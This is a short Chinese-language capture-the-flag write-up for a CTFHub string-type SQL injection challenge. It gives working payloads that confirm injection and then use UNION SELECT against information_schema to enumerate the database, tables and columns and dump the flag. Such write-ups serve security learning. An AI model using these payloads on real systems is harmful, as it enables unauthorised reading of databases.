CTFHUB 字符型SQL注入
1
2
3
只能查询得到id为1和2的回显,且注意查询语句select * from news where id='1'
,与数字型SQL查询不同的是所查询的是一个用单引号括起来的字符
验证输入
1‘#
雀氏嗷,对比数字型注入中说到的,判断此题为字符型注入
先判断能否注入,即注入的代码能否执行
1' and 1=1 #
1' and 1=2 #
存在注入
hi' union select 1,database()#
因为是字符型注入,可以整点花活:)
原理是一样的,不存在id='hi'
判断为假
得到数据库名“sqli”
hi' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#
爆出表名为“flag”和“nwes”
继续注入
singleDOG' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#
得到列名为flag
最后注入查询该列内容获得flag
imNOOB' union select 1,group_concat(flag) from sqli.flag#
解完,下班!